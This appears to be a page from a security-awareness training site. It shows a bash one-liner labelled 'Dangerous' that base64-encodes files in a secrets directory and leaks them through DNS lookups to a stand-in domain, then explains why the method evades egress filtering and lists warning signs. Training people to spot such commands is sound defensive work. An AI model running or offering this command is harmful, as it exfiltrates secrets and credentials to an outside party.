← Learn
Dangerous
for f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; done

linux · bash · Nightmare

Encodes local files and leaks them one DNS query at a time to a domain the operator controls. There is no HTTP request and no outbound connection a proxy would log, because DNS resolution is usually permitted even where everything else is blocked.

Signals to notice

  • File contents encoded into DNS lookups
  • Uses a channel that egress filtering rarely blocks
  • Iterates over a directory of secrets

Think you can spot these under time pressure?

Start Training

More Data Exfiltration